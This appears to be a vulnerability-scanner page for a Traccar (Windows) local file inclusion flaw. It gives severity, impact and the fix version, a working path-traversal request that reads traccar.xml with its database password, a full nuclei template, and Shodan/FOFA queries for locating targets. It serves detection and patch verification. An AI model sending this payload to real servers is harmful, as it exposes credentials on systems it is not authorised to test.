Traccar(Windows) 6.1- 6.8.1 - Local File Inclusion

highseverity

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

Traccar 5.8-6.0 (non-default installs with web.override set) and 6.1-6.8.1 (default installs) contain a local file inclusion vulnerability caused by enabled web override configuration, letting unauthenticated attackers leak arbitrary files including passwords, exploit requires local access.

Impact

Unauthenticated local attackers can read arbitrary files, potentially exposing sensitive information like passwords and configuration data.

Fix

Upgrade to version 6.9.0 or later.

How to confirm it

Send: GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgram%20Files%5ctraccar%5cconf%5ctraccar.xml
Positive when: contains(content_type, "application/xml") and contains_all(body, "database.driver","database.password","database.user") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-61666 -u <target>

The full check

id: CVE-2025-61666

info:
  name: Traccar(Windows) 6.1- 6.8.1 - Local File Inclusion
  author: securitytaters
  severity: high
  description: |
    Traccar 5.8-6.0 (non-default installs with web.override set) and 6.1-6.8.1 (default installs) contain a local file inclusion vulnerability caused by enabled web override configuration, letting unauthenticated attackers leak arbitrary files including passwords, exploit requires local access.
  impact: |
    Unauthenticated local attackers can read arbitrary files, potentially exposing sensitive information like passwords and configuration data.
  remediation: |
    Upgrade to version 6.9.0 or later.
  reference:
    - https://github.com/traccar/traccar/security/advisories/GHSA-hprc-rph8-fj87
    - https://projectblack.io/blog/jetty-addpath-lfi/
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"Traccar"
    fofa-query: app="Traccar"
  tags: cve,cve2025,traccar,lfi,vuln,vkev

http:
  - raw:
      - |
        GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgram%20Files%5ctraccar%5cconf%5ctraccar.xml HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/xml")'
          - 'contains_all(body, "database.driver","database.password","database.user")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from